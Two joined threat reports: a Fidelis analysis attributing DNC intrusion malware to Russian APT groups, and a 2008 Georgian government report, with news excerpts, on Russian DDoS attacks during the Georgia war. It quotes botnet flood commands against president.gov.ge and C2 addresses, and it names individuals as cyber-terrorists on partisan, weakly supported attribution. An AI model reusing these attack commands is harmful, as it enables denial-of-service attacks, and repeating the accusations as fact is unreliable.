1/3 http://www.threatgeek.com/2016/06/dnc_update.html http://threatgeek.typepad.com/.a/6a0147e41f3c0a970b01b8d1fae5df970c-pi https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ http://threatgeek.typepad.com/.a/6a0147e41f3c0a970b01b8d1fac44a970c-pi As part of our investigation, we analyzed the same malware files that were used in the DNC incident.
Here are a few highlights of our findings from reverse engineering the provided malware: 1.
The malware samples matched the description, form and function that was described in the CrowdStrike blog post.
2.
The malware samples contained complex coding structures and utilized obfuscation techniques that we have seen advanced adversaries utilize in other investigations we have conducted.
This wasnt Script Kiddie stuff.
3.
In addition, they were similar and at times identical to malware that other vendors have associated to these actor sets.
a.
For instance, in one of their Unit 42 blog posts Palo Alto Networks provides some detailed reversing and analysis on other malware that they attributed to COZY BEAR named SeaDuke.
The Fidelis Reverse Engineering team noted that in the samples of SeaDaddy, that were provided to us from the DNC incident, there were nearly identical code obfuscation techniques and methods.
In fact, once decompiled, the two programs were very similar in form and function.
They both used identical persistence methods (Powershell, a RUN registry key, and a .lnk file stored in the Startup directory).
b.
The SeaDaddy sample had a self-delete function named seppuku which was identified in a previous SeaDuke sample described by Symantec and attributed to the COZY BEAR APT group.
Its worth noting that seppuku is a Japanese word for harakiri or self-disembowelment.
c. For the X-Tunnel sample, which is malware associated with FANCY BEAR, our analysis confirmed three distinct features that are of note: i.
A sample component in the code was named Xtunnel_Http_Method.exe as was reported by Microsoft and attributed by them to FANCY BEAR (or Strontium as they named the group) in their Security Intelligence Report 2/3 http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/ http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_A_Profile_Of_A_Persistent_Adversary_English.pdf Volume 19.
ii.
There was a copy of OpenSSL embedded in the code and it was version 1.0.1e from February 2013 which was reported on by Netzpolitik and attributed to the same attack group in 2015.
iii.
The Command and Control (C2) IPs were hardcoded into the provided sample which also matched the Netzpolotik reporting.
iv.
The arguments in the sample were also identical to the Netzpolitik reporting.
4.
The malware samples were conspicuously large (1.9 MB for X-Tunnel and 3.1 MB for SeaDaddy) and contained all or most of their embedded dependencies and functional code.
This is a very specific modus operandi less sophisticated actors do not employ.
So what does this mean?
Who is responsible for the DNC hack?
Based on our comparative analysis we agree with CrowdStrike and believe that the COZY BEAR and FANCY BEAR APT groups were involved in successful intrusions at the DNC.
The malware samples contain data and programing elements that are similar to malware that we have encountered in past incident response investigations and are linked to similar threat actors.
In addition to CrowdStrike, several other security firms have analyzed and published findings on malware samples that were similar and in some cases nearly identical to those used in the DNC incident.
Many of these firms attributed the malware to Russian APT groups.
That brings us to the issue about Guccifer 2.0s claim of responsibility for the attack.
Several researchers have raised questions about the allegedly stolen documents posted by Guccifer 2.0.
Ars Technica reported similar findings that align with some of our initial analysis on this topic.
While we believe this settles the question of who was responsible for the DNC attack, we will continue to watch, along with the rest of the security community, the new twists and turns this story takes as the U.S. presidential elections swings into full gear.
-
Michael Buratowski, senior vice president, Security Consulting Services 3/3 https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/ http://arstechnica.com/security/2016/06/guccifer-leak-of-dnc-trump-research-has-a-russians-fingerprints-on-it/ Findings from Analysis of DNC Intrusion Malware
1 Russian Invasion of Georgia Russian Cyberwar on Georgia 10 November, 2008 Regular updates can be found on the Georgia Update website: www.georgiaupdate.gov.ge 1.
INTRODUCTION ..............................................................................................2 2.
BACKGROUND ON CYBERWARFARE .......................................................2 3.
RUSSIAS ONLINE WAR ON GEORGIA: FIRST STRIKE ..............................3 4.
CYBER BLOCKADE.........................................................................................5 5.
SITES PROVIDING DDOS ATTACK TOOLS .................................................5 6.
PART OF THE INFORMATION WAR .............................................................7 7.
RUSSIAN BUSINESS NETWORK......................................................................8 8.
THE 27 AUGUST ATTACK ...............................................................................9 CONCLUSION......................................................................................................10 APPENDIX: Articles About Cyberwar on Georgia .........................................11 2 1.
INTRODUCTION The Russian invasion of Georgia was preceded by an intensive build up of cyberattacks attempting to disrupt, deface and bring down critical Georgian governmental and civilian online infrastructure.
These attacks became a massive assault on the eve of the invasion which resulted in the blocking, re-routing of traffic and control being seized of various sections of Georgian cyberspace.
The attack marks a new phase in the history of warfare, being the first case in which a land invasion was co- ordinated with an orchestrated online cyber-offensive.
This offers crucial lessons for strategists and planners whilst providing vital information about how the Russian Federation is developing its offensive capacities on the internet.
The campaign has been reported in the media, with wide coverage suggesting the campaign was a spontaneous outburst of popular feeling in Russia lead by independent hackers.
However, as this report suggests, the offensive was too large, coordinated, and sophisticated to be the work of independent hackers the evidence leads by-and- large to the Russian Business Network (RBN) in St. Petersburg, Russia.
Whilst only a criminal investigation can directly prove the involvement of the Kremlin, both experts and commentators have accused Moscow of sponsoring the attacks as their magnitude requires the involvement of the kind of resources only a state-sponsor can provide.
2.
BACKGROUND ON CYBERWARFARE Cyberattacks are becoming an increasingly established and virulent form of warfare in the early Twenty-First Century.
High technology and online skills are now available for rent to a variety of customers, including private individuals and terrorist organizations, and can potentially destabilize a countrys whole economy and crucial security infrastructure.
Cyberwarfare has found its primary state-sponsor in the Russian Federation, which is widely suspected of having played a leading role in the first large scale cyberattack on a NATO member state last year.
In the spring of 2007 government computers in Estonia came under sustained attack from cyberterrorists following the decision taken by Estonian officials to move a statue placed commemorating a Red Army soldier that died fighting the Nazis, to the military cemetery in the capital Tallinn.
The event roused emotions and led to large scale protests by the Russian minority.
It was then that the Estonian Governments online networks came under massive assault using 3 Distributed Denial-Of-Service (DDoS) assaults on its infrastructure.
The attacks, which flooded computers and servers, blocking legitimate users were described as crippling by experts, owing to Estonias high dependence on information technology.
Commentators have pointed out that the assault had very serious consequences for Estonias banks and airports.
Consequences similar in effect to a full scale missile strike.
This provided vital lessons for Estonia and NATO and has led to the development of a cutting edge cyberwarfare institute in Tallinn.
3.
RUSSIAS ONLINE WAR ON GEORGIA: FIRST STRIKE In August 2008, cyberwar associated with the Russian Federation struck once more, this time against Georgia.
The DDoS attacks began in the weeks running up to the outbreak of the Russian invasion and continued after the Kremlin announced that it had ceased hostilities on 12 August.
Georgian claims have been confirmed by Tom Burling, an executive of Tulip Systems, a U.S. Internet firm, which took over hosting of the web sites for Georgias government agencies during the conflict.
In a recent interview Burling said its experts had worked frantically to curtail the damage from the hackers, remarking that They have been attacking Georgia from a cyber standpoint since July.
Some of the Western sources confirm this claim.
On 20 July the Shadowserver Foundation published news about the serious attack against the website of the President of Georgia: For over 24 hours the website of President Mikhail Saakashvili of Georgia (www.president.gov.ge) has been rendered unavailable due to a multi-pronged distributed denial of service (DDoS) attack.
Computerworld, 21 July: The Web site for the president of Georgia was knocked offline by a distributed denial-of-service (DDOS) attack over the weekend, yet another in a series of cyberattacks against countries experiencing political friction with Russia.
New York Times, 12 August: Weeks before bombs started falling on Georgia, a security researcher in suburban Massachusetts was watching an attack against the country in cyberspace.
The Russian invasion of Georgia was preceded by a cyber attack on Georgias Internet facilities.
A large number of Georgias Internet servers were seized and placed under external control from late Thursday, 7 August, whereas Russias invasion of Georgia officially commenced on Friday, 8 August.
Also, much of Georgias traffic and access was taken under unauthorized external control at the same time that this first large scale attack occurred.
The defacement of President Mikheil Saakashvili web site president.gov.ge with the screen-shot provided below which operated as a moving slideshow was part of the initial phase of the attack.
What 4 followed were large numbers of DDoS against the site designed to prevent the Georgian government from getting its message across to the general population and international media during this critical time.
Dancho Danchev is an independent security consultant and cyber threats analyst, with extensive experience in open source intelligence gathering, malware and E-crime incident response.
As an expert in the field, he views the defacement attacks as clearly being Kremlin linked and not undertaken by independent or un-coordinated attackers.
What am I trying to imply?
It smells like a three letter intelligence agencys propaganda arm has managed to somehow supply the creative for the defacement of Georgia Presidents official web site, thereby forgetting a simple rule of engagement in such a conflict - risk forwarding the responsibility of the attack to each and every Russian or Russian supporter that ever attacked Georgian sites using publicly obtainable DDoS attack tools in a coordinated fashion.
An example of Russian efforts to shut the mouse of Georgian media is the story of the Georgian news agency GHN.
The first attack against the agencys website occurred in August 2008.
Another wave of cyber attacks started on 8 September.
As a result, the GHN news agency website had been paralyzed for 2 weeks.
Another Georgian media website that came under consistent cyber attacks after the end of the armed conflict is www.apsny.ge  website of the Georgia-Online news agency.
It is interesting to note that Russian efforts to prevent Georgian 5 Internet media resources from disseminating information continued even after the war.
4.
CYBER BLOCKADE The Russian assault on Georgian cyberspace was intensely co- ordinated and directed out of St. Petersburg, inside the territory of the Russian Federation.
The primary orchestrator was the Russian Business Network (RBN) which conducted the cyber-blockade so that all Georgian Internet traffic was going through Russia, denying Georgia its internet independence.
Computers in Georgia showed that an assault was clearly taking place, which is presented here as evidence of Russian sponsored cyber-terrorism: Two trace routes for the web site mfa.gov.ge, that of the Georgian Ministry of Foreign Affairs, were showing: (a) From US - Ge  Blocked via TTnet Turkey (b) From Ukraine - Ge  available  slow not accessible, cached (forged page) now only via redirect through Bryansk.ru Other Georgia government websites such as  mod.gov.ge, the website of the  Georgian Ministry of Defense and the web site president.gov.ge, the web site of the Georgian Presidency showed (c) From US - Ge  Blocked via TTnet Turkey (d) From Ukraine - Ge  Blocked via TTnet Turkey By examining Internet routes before and after the beginning of the war, it is clear that they were altered either legally or illegally, blocking traffic in and out of Georgia.
Some of those routers are known to be under control of the Russian Business Network (RBN).
This can be demonstrated via a comparison of route configuration before and after the war.
5.
SITES PROVIDING DDOS ATTACK TOOLS Here we can provide clear evidence of co-ordination and a full list of targets the cyber-terrorists had selected taken from the Russian hosted web site stopgeorgia.ru (which also appears as stopgeorgia.info a redirected page).
This site provided the necessary attack tools for the cyber assault against Georgia for hackers.
As we can see the screen- shot shows that mostly .ge web sites are listed for priority attacks.
However - also targeted for assault is the US embassy in Tbilisi.
This web site, as seen before, is an open site to attract future FSB cyber warriors.
The following evidence below shows how these sites can be traced back to the Russian Business Network (RBN) in ST.
Petersburg and other cybercriminal locations.
6 The information site Stopgeorgia.ru which provided information and tools for independent hackers to attack Georgian sites was hosted by AS36351 Softlayer of Plano Texas.
This is a well known location that is associated with Atrivo and  Intercage malware hosting connectivity, which is highly disruptive to online service.
The information site Stopgeorgia.info was hosted by AS28753 NETDIRECT in Frankfurt, Germany as well as in AS12578 APOLLO LATTELEKOM APOLLO in Latvia.
The link back to the Russian Business Network (RBN) was provided by the clues left in the registration, which reads as: Sponsoring Registrar: EstDomains, Inc. Registrant: Domain Manager, Protect Details, Inc, Street1: 29 Kompozitorov St., Saint Petersburg, RU, Phone:7.8129342271 In summary, 36 important web sites were identified as targets for hackers, including the US and UK Embassies in Tbilisi, Georgian Parliament, Georgian Supreme Court, Ministry of Foreign Affairs, various news agencies and other media resources, the Central Election Commission, and many others.
7 Due to efforts of many IT specialists in Internet hosting routing companies, normal traffic was mostly resumed after the initial strikes.
Most critical websites were hosted outside of Georgia.
6.
PART OF THE INFORMATION WAR To help to make a final judgment regarding the cyberwar against Georgia these two declarations from Russian officials can help us to evaluate how Moscow thinks in regard to online warfare.
The Russian State Duma deputy and member of the Security Committee Deputy Nikolai Kuryanovich stated in 2006 within a formal Russian parliamentary letter of appreciation to hackers who had taken down several Israeli web sites: In the very near future many conflicts will not take place on the open field of battle, but rather in spaces on the Internet, fought with the aid of information soldiers, that is hackers.
This means that a 8 small force of hackers is stronger than the multi-thousand force of the current armed forces.
Should we interpret this declaration as a statement of intent, or merely a prediction?
A few days ago, the Editor of the Russian Online journal cybersecurity.ru, made a similar statement that provides insight into the Russian war aims: Cyber-attacks are part of the information war, making your enemy shut up is a potent weapon of modern warfare.
Clear examples that such thinking is being applied as guiding principles of Russian strategy as part of the intense information-war taking place can be drawn from the second wave of attacks that showed up from Russian Business Network (RBN) server range.
This time the weapon was a new campaign purporting to come from the BBC that mocked Georgias President and spread as a new virus.
The malware from various locations caused the virus to be delivered from a single site, (IP address: 79.135.167.49).
The name of the malware is name.avi.exe, and as of September 2008, only FOUR out of 36 anti-virus products could detect it.
The Russian Business Network (RBN) had created a highly virulent strain designed to act as a propaganda weapon against Georgia.
7.
RUSSIAN BUSINESS NETWORK The individual, with direct responsibility for carrying out the cyber first strike on Georgia, is a RBN operative named Alexandr A. Boykov of Saint Petersburg, Russia.
Also involved in the attack was a programmer and spammer from Saint Petersburg named Andrey Smirnov.
These men are leaders of RBN sections and are not script-kiddies or hacktivists, as some have maintained of the cyber attacks on Georgia but senior operatives in positions of responsibility with vast background knowledge.
Intelligence can suggest further information about these individual cyber-terrorists.
According to Spamhaus SBL64881, Mr. Boykov operates a hosting service in Class C Network 79.135.167.0/24.
It should be noted that the pre-invasion attacks emanated from 79.135.167.22, clearly showing professional planning and not merely hacktivism.
Due to the degree of professionalism and the required massive costs to run such operations, a state-sponsor is suspected.
Further information gathered also links the RBN to known disruptive websites.
The IP addresses of the range, 79.135.160.0/19 are assigned to Sistemnet Telecom to provide services to companies who are classified as engaging in illicit activities such as credit card fraud, malware and so on.
9 79.135.160.0/19 Sistemnet Telecom and AS9121 TTNet (Turkey) are associated with AbdAllah_Internet which is linked with cybercrime hosting such as thecanadianmeds.com.
These are known Russian Business Network routes.
8.
THE 27 AUGUST ATTACK The last large cyberattack took place on 27 August.
After that, there have been no serious attacks on Georgian cyberspace.
By that is meant that minor attacks are still continuing but these are indistinguishable from regular traffic and can certainly be attributed to regular civilians.
On 27 August, at approximately 16:18 (GMT 3) a DDoS attack against the Georgian websites was launched.
The main target was the Georgian Ministry of Foreign Affairs.
The attacks peaked at approx 0,5 million network packets per second, and up to 200250 Mbits per second in bandwidth (see attached graphs).
The graphs represent a 5-minute average: actual peaks were higher.
10 The attacks mainly consisted of HTTP queries to the http://mfa.gov.ge website.
These were requests for the main page script with randomly generated parameters.
These requests were generated to overload the web server in a way where every single request would need significant CPU time.
The initial wave of the attack disrupted services for some Georgian websites.
The services became slow and unresponsive.
This was due to the load on the servers by these requests.
As you see from the graphs above the attacks started to wind down after most of the attackers were successfully blocked.
The latest attack may have been initiated as a response to the media coverage on the Russian cyber attacks.
CONCLUSION The information presented in here catalogues and explains the historic first major use of cyberattacks as a weapon of war during the Russian aggression against Georgia.
Considering that this is the second Russian- sponsored cyber-attack in just over a year, as well as the alarming fact that the US Embassy in Tbilisi was listed for assault by cyberterrorists, NATO member states as well as NATO aspirant countries need to be on full alert for future Russian aggression against critical online infrastructure.
11 APPENDIX: Articles About Cyberwar on Georgia Contents SHADOWSERVER............................................................................................................. 11 COMPUTERWORLD ........................................................................................................ 13 COMPUTERWORLD ........................................................................................................ 14 SOFT SECURITY................................................................................................................ 15 THE TELEGRAPH............................................................................................................. 15 NEW YORK TIMES ........................................................................................................... 17 AFP....................................................................................................................................... 19 INTERNATIONAL DATA GROUP................................................................................ 20 THE TELEGRAPH............................................................................................................. 22 WASHINGTON POST ...................................................................................................... 23 NEWSWEEK....................................................................................................................... 26 AFP....................................................................................................................................... 28 WASHINGTON POST (blog)............................................................................................29 SHADOWSERVER 20 July 2008 Updated on 10 August 2008 The Website for the President of Georgia Under Attack - Politically Motivated?
For over 24 hours the website of President Mikhail Saakashvili of Georgia (www.president.gov.ge) has been rendered unavailable due to a multi- 12 pronged distributed denial of service (DDoS) attack.
The site began coming under attack very early Saturday morning (Georgian time).
Shadowserver has observed at least one web-based command and control (CC) server taking aim at the website hitting it with a variety of simultaneous attacks.
The CC server has instructed its bots to attack the website with TCP, ICMP, and HTTP floods.
Commands seen so far are: flood http www.president.gov.ge/ flood tcp www.president.gov.ge flood icmp www.president.gov.ge The server [62.168.168.9] which houses the website has been largely offline since the attack started.
Passive DNS records show the system houses several other websites which are mostly unrelated to the Georgian government.
However, the server does also host the Social Assistance and Employment State Agency website (www.saesa.gov.ge).
This website along with the others on the host have been rendered inaccessible.
Is the attack political or perhaps nationalistic in nature?
Your guess is as good as ours but it doesnt take much to come to this possible conclusion.
Recent DDoS attacks against various other neighbors of Russia to include Estonia have been quite popular in the last few years.
We do not have any solid proof that the people behind this CC server are Russian.
However, the HTTP- based botnet CC server is a MachBot controller, which is a tool that is frequently used by Russian bot herders.
On top of that the domain involved with this CC server has seemingly bogus registration information but does tie back to Russia.
Who else have these guys been attacking with this MachBot CC server?
The answer is no one.
This server recently came online in the past few weeks and has not issued any other attacks that we have observed until recently.
All attacks we have observed have been directed right at www.president.gov.ge.
The CC server involved in these attacks is on the IP address 207.10.234.244, which is subsequently located in the United States.
Beaconing traffic from your network to this host may indicate that you have infected machines on your network and are most likely participating in this DDoS attack.
We would recommend blocking and/or monitoring for traffic to this address.
Update (7/20/2008: 1:36 PM EST): It appears the host site for 207.10.234.244 has taken action against this system and appears to now be blocking access to it.
However, the server being targeted by the CC is still unreachable.
Update (8/10/2008: 10:34 AM EDT): With the recent events in Georgia, we are now seeing new attacks against .ge sites.
www.parliament.ge president.gov.ge are currently being hit with http floods.
In this case, the CC server involved is at IP address 79.135.167.22 which is located in Turkey.
We are also observing this CC as directing attacks against www.skandaly.ru.
13 Traffic from your network to this IP or domain name of googlecomaolcomyahoocomaboutcom.net may indicate compromise and participation in these attacks.
COMPUTERWORLD 21 July 2008 By Jeremy Kirk Georgia presidents Web site falls under DDOS attack Botnet took down site for one day The Web site for the president of Georgia was knocked offline by a distributed denial-of-service (DDOS) attack over the weekend, yet another in a series of cyberattacks against countries experiencing political friction with Russia.
Georgias presidential Web site was down for about a day, starting early Saturday until Sunday, according to the Shadowserver Foundation, which tracks malicious Internet activity.
Network experts said the attack was executed by a botnet, or a network of computers that can be commanded to overwhelm a Web site with too much traffic.
The command-and-control server for the attack is based in the U.S., Shadowserver said.
The botnet appears to be based on the MachBot code, which communicates to other compromised PCs over HTTP, the same protocol used for transmitting Web pages.
The tool used to control this kind of botnet is frequently used by Russian bot herders, according to Shadowserver.
On top of that, the domain involved with this [command-and-control] server has seemingly bogus registration information but does tie back to Russia.
One of the commands contained in the traffic directed at the Web site contained the phrase winloveinRusia, wrote Jose Nazario, a senior security engineer at Arbor Networks, on a company blog.
On Sunday, it appeared that the host for the command-and-control server had been taken offline, Shadowserver said.
The motivation for the attacks is not entirely clear.
But Georgia is just one of several former Soviet satellites, including Estonia and Lithuania, that are seeking to downplay their historical legacy with Russia.
Georgia has angered Russia by pushing for entry to NATO, a pro-Western security alliance.
It has also tangled with Russia over the handling of South Ossetia and Abkhazia, two rebellious regions pushing for independence.
14 In Lithuania, 300 Web sites were defaced around July 1 following a new law prohibiting the public display of symbols dating from the Soviet era and the playing of the Soviet national anthem.
The hacking was blamed on an unpatched vulnerability in a Web server at a hosting company.
Estonian Web sites were pounded by a massive DDOS attack in April and May 2007.
The attacks are believed to have been connected to a decision to move a monument honoring Soviet World War II soldiers to a less prominent place, which ignited protests from ethnic Russians.
COMPUTERWORLD 11 August 2008 By Gregg Keizer Cyberattacks knock out Georgias Internet presence Large-scale attacks, traffic rerouting traced to Russian hacker hosting network August 11, 2008 (Computerworld) Hackers, perhaps affiliated with a well- known Russian criminal network, have attacked and hijacked Web sites belonging to Georgia, the former Soviet republic now in the fourth day of war with Russia, a security researcher claimed on Sunday.
Some Georgian government and commercial sites are unavailable, while others may have been hijacked, said Jart Armin, a researcher who tracks the notorious Russian Business Network (RBN), a malware and criminal hosting network.
Many of Georgias Internet servers were under external control from late Thursday, Armin said early Saturday in an entry on his Web site.
According to his research, the governments sites dedicated to the Ministry of Foreign Affairs, the Ministry of Defense, and the countrys president, Mikhail Saakashvili, have been blocked completely, or traffic to and from those sites servers have been redirected to servers actually located in Russia and Turkey.
As of midnight Eastern time on Sunday, Georgias presidential and defense ministry sites were unavailable from the U.S.
Although the foreign ministrys site remained online, the most recent news item was dated Aug. 8, the day Georgian and Russian forces first clashed.
Armin warned that Georgian sites that appeared online may actually be bogus.
Use caution with any Web sites that appear of a Georgia official source but are without any recent news [such as those dated Saturday, Aug. 9, or Sunday, Aug. 10], as these may be fraudulent, he said in another entry posted midafternoon on Sunday.
Statements from Georgias foreign ministry have appeared in a blog hosted on Google, perhaps in an attempt to circumvent attacks.
15 Researchers at the Shadowserver Foundation, which tracks malicious Internet activity, confirmed some of Armins claims.
We are now seeing new attacks against .ge sites [Editors note: .ge is the top-level domain for Georgia.]
...
www.parliament.ge and president.gov.ge are currently being hit with HTTP floods, the researchers said in a Sunday update to a July post.
On Saturday, Armin reported that key sections of Georgias Internet traffic had been rerouted through servers based in Russia and Turkey, where the traffic was either blocked or diverted.
The Russian and Turkish servers Armin identified, he said, are well known to be under the control of RBN and influenced by the Russian government.
RBN, which pulled up stakes last year and shifted network operations to China in an attempt to avoid scrutiny, has been fingered for a wide range of criminal activities, including a massive subversion of Web sites last March.
Later on Saturday, Armin added that network administrators in Germany had been able to temporarily reroute some Georgian Internet traffic directly to servers run by Deutsche Telekom AG.
Within hours, however, the traffic had been again diverted to Russian servers, this time to ones based in Moscow.
The attacks are reminiscent of other coordinated campaigns against Estonian government Web sites in April and May 2007 and against about 300 Lithuanian sites on July 1.
Like Georgia, both countries are former republics in the Soviet Union.
Three weeks ago, a distributed denial-of-service attack knocked Georgias presidential site offline for about a day.
Late Sunday, Russian ground forces were reported advancing toward Gori, an important transportation hub in central Georgia.
SOFT SECURITY 11 August 2008 This day highlights Coordinated Russia vs Georgia cyber attack in progress (extract) In the wake of Russian-Georgian conflict, a week worth of speculations around Russian Internet forums have finally materialized into a coordinated cyber attack against Georgias Internet infrastructure, whose tactics have already managed to compromise several government web sites and is continuing to launch DDoS attacks against numerous other Georgian government sites THE TELEGRAPH August 11 2008 16 By Jon Swaine Georgia: Russia conducting cyber war Several Georgian state computer servers have been under external control since shortly before Russias armed intervention into the state commenced on Friday, leaving its online presence in disarray.
While the official website of Mikheil Saakashvili, the Georgian President, has become available again, the central government site, as well as the homepages for the Ministry of Foreign Affairs and Ministry of Defence, remained down.
Some commercial websites have also been hijacked.
The Georgian Government said that the disruption was caused by attacks carried out by Russia as part of the ongoing conflict between the two states over the Georgian province of South Ossetia.
In a statement released via a replacement website built on Googles blog- hosting service, the Georgian Ministry of Foreign Affairs said: A cyber warfare campaign by Russia is seriously disrupting many Georgian websites, including that of the Ministry of Foreign Affairs.
Barack Obama, the Democratic US Presidential candidate, has demanded Moscow halt the internet attacks as well as observing a ceasefire on the ground.
Last April the computer systems of the Estonian Government came under attack in a coordinated three-week assault widely credited to state- sponsored Russian hackers.
The wave of attacks came after a row erupted over the removal of the Bronze Soldier Soviet war memorial in Tallinn, the Estonian capital.
The websites of government departments, political parties, banks and newspapers were all targeted.
Analysts have immediately accused the Russian Business Network (RBN), a network of criminal hackers with close links to the Russian mafia and government, of the Georgian attacks.
Jart Armin, a researcher who runs a website tracking the activity of the RBN, has released data claiming to show that visits to Georgian sites had been re- routed through servers in Russia and Turkey, where the traffic was blocked.
Armin said the servers are well known to be under the control of RBN and influenced by the Russian Government.
Mr Armin said that administrators in Germany had intervened at the weekend, temporarily making the Georgian sites available by re-routing their traffic through German servers run by Deutsche Telekom.
Within hours, however, control over the traffic had been wrested back, this time to servers based in Moscow.
As in the barrage against Estonian websites last year, the Georgian sites are being bombarded by a distributed denial-of-service (DDoS) attack, in which 17 hackers direct their computers to simultaneously flood a site with thousands of visits in order to overload it and bring it offline.
The Shadowserver Foundation, which tracks serious hacking, confirmed: We are now seeing new attacks against .ge sites - www.parliament.ge and president.gov.ge are currently being hit with http floods.
Mr Armin warned that official Georgian sites that did appear online may have been hijacked and be displaying bogus content.
He said in a post on his site: Use caution with any web sites that appear of a Georgia official source but are without any recent news ... as these may be fraudulent.
The Baltic Business News website reported that Estonia has offered to send a specialist online security team to Georgia However a spokesman from Estonias Development Centre of State Information Systems said Georgia had not made a formal request.
This will be decided by the government, he said NEW YORK TIMES 12 August 2008 By John Markoff Before the Gunfire, Cyberattacks Weeks before bombs started falling on Georgia, a security researcher in suburban Massachusetts was watching an attack against the country in cyberspace.
Jose Nazario of Arbor Networks in Lexington noticed a stream of data directed at Georgian government sites containing the message: winloveinRusia.
Other Internet experts in the United States said the attacks against Georgias Internet infrastructure began as early as July 20, with coordinated barrages of millions of requests  known as distributed denial of service, or D.D.O.S., attacks  that overloaded and effectively shut down Georgian servers.
Researchers at Shadowserver, a volunteer group that tracks malicious network activity, reported that the Web site of the Georgian president, Mikheil Saakashvili, had been rendered inoperable for 24 hours by multiple D.D.O.S.
attacks.
They said the command and control server that directed the attack was based in the United States and had come online several weeks before it began the assault.
18 As it turns out, the July attack may have been a dress rehearsal for an all-out cyberwar once the shooting started between Georgia and Russia.
According to Internet technical experts, it was the first time a known cyberattack had coincided with a shooting war.
But it will likely not be the last, said Bill Woodcock, the research director of the Packet Clearing House, a nonprofit organization that tracks Internet traffic.
He said cyberattacks are so inexpensive and easy to mount, with few fingerprints, they will almost certainly remain a feature of modern warfare.
It costs about 4 cents per machine, Mr. Woodcock said.
You could fund an entire cyberwarfare campaign for the cost of replacing a tank tread, so you would be foolish not to.
Exactly who was behind the cyberattack is not known.
The Georgian government blamed Russia for the attacks, but the Russian government said it was not involved.
In the end, Georgia, with a population of just 4.6 million and a relative latecomer to the Internet, saw little effect beyond inaccessibility to many of its government Web sites, which limited the governments ability to spread its message online and to connect with sympathizers around the world during the fighting with Russia.
It ranks 74th out of 234 nations in terms of Internet addresses, behind Nigeria, Bangladesh, Bolivia and El Salvador, according to Renesys, a Manchester, N.H., firm that provides performance data on the state of Internet.
Cyberattacks have far less impact on such a country than they might on a more Internet-dependent nation, like Israel, Estonia or the United States, where vital services like transportation, power and banking are tied to the Internet.
In Georgia, media, communications and transportation companies were also attacked, according to security researchers.
Shadowserver saw the attack against Georgia spread to computers throughout the government after Russian troops entered the Georgian province of South Ossetia.
The National Bank of Georgias Web site was defaced at one point.
Images of 20th- century dictators as well as an image of Georgias president, Mr. Saakashvili, were placed on the site.
Could this somehow be indirect Russian action?
Yes, but considering Russia is past playing nice and uses real bombs, they could have attacked more strategic targets or eliminated the infrastructure kinetically, said Gadi Evron, an Israeli network security expert.
The nature of whats going on isnt clear, he said.
The phrase a wilderness of mirrors usually describes the murky world surrounding opposing intelligence agencies.
It also neatly summarizes the array of conflicting facts and accusations encompassing the cyberwar now taking place in tandem with the Russian fighting in Georgia.
In addition to D.D.O.S.
attacks that crippled Georgias limited Internet infrastructure, researchers said there was evidence of redirection of Internet traffic through Russian telecommunications firms beginning last weekend.
The attacks continued on Tuesday, controlled by software programs that were 19 located in hosting centers controlled by a Russian telecommunications firms.
A Russian-language Web site, stopgeorgia.ru, also continued to operate and offer software for download used for D.D.O.S.
attacks.
Over the weekend a number of American computer security researchers tracking malicious programs known as botnets, which were blasting streams of useless data at Georgian computers, said they saw clear evidence of a shadowy St. Petersburg-based criminal gang known as the Russian Business Network, or R.B.N.
The attackers are using the same tools and the same attack commands that have been used by the R.B.N.
and in some cases the attacks are being launched from computers they are known to control, said Don Jackson, director of threat intelligence for SecureWorks, a computer security firm based in Atlanta.
He noted that in the run-up to the start of the war over the weekend, computer researchers had watched as botnets were staged in preparation for the attack, and then activated shortly before Russian air strikes began on Saturday.
The evidence on R.B.N.
and whether it is controlled by, or coordinating with the Russian government remains unclear.
The group has been linked to online criminal activities including child pornography, malware, identity theft, phishing and spam.
Other computer researchers said that R.B.N.s role is ambiguous at best.
We are simply seeing the attacks coming from known hosting services, said Paul Ferguson, an advanced threat researcher at Trend Micro, an Internet security company based in Cupertino, Calif. A Russian government spokesman said that it was possible that individuals in Russia or elsewhere had taken it upon themselves to start the attacks.
I cannot exclude this possibility, Yevgeniy Khorishko, a spokesman for the Russian Embassy in Washington, said.
There are people who dont agree with something and they try to express themselves.
You have people like this in your country.
Jumping to conclusions is premature, said Mr. Evron, who founded the Israeli Computer Emergency Response Team.
AFP 13 August 2008 By Glenn Chapman Georgia targeted in cyber attack 20 Georgian government websites have been under intense cyber attack on top of the Russian military strikes launched against the country late last week, a US Internet firm said Tuesday.
Tulip Systems Inc said they took over hosting of the websites for Georgias presidency and a major television network on Saturday, a day after Russian forces poured into Georgia in response to Tbilisis attacks on a Moscow- backed rebel province.
Tulip executive Tom Burling said the distributed-denial-of-service (DDoS) attacks began in the weeks running up to the outbreak of the Russia-Georgia conflict and continued Tuesday after the Kremlin announced it had ceased hostilities in the former Soviet state.
They have been attacking Georgia from a cyber standpoint since July, Burling told AFP.
They are still doing it now.
Our poor technician here has gotten three hours sleep in the past four days, he said.
Burling suggested that Russia was behind the attacks, which are similar to a cyber offensive waged against Estonia last year that coincided with a diplomatic spat between the Baltic state and Moscow.
DDoS attacks consist of overloading websites with so many online requests that systems crash.
Burling said Georgian government websites were being slammed with hundreds of millions of simultaneous requests for documents when Tulip gave them refuge, Burling said.
The cyber attack was taking down every Georgian government website, he said.
On Tuesday, the Georgian sites hosted on Tulip were still reportedly getting hit with 68,000 requests at a time.
Russia has denied involvement in cyber assaults on Georgia and experts say it is difficult to determine exactly who is behind such attacks.
The Georgian governments websites have obviously been under attack, said Gadi Evron, an Israeli computer security specialist that investigated the cyber assault on Estonia.
It is simply too early and we lack enough information to reach any conclusion as to the motive and identity of the attackers, he said.
Evron said that such cyber warfare has become commonplace in the past decade.
21 These types of attack are only natural and happen immediately following any conflict or political tension, Evron told AFP in an email.
DDoS attacks are simple, economical and hard to trace.
The assaults are typically done by using networks of computers that have been turned into zombies or bots with malicious software planted by hackers without the owners of machines being aware.
Botnets can grow to thousands or millions of machines and be commanded to simultaneously make requests at targeted websites.
Andre DiMino, director of Shadowserver, a nonprofit Internet security watchdog with team members around the world, warned against jumping to the conclusion that Russias government is the culprit in the Georgia cyber attacks.
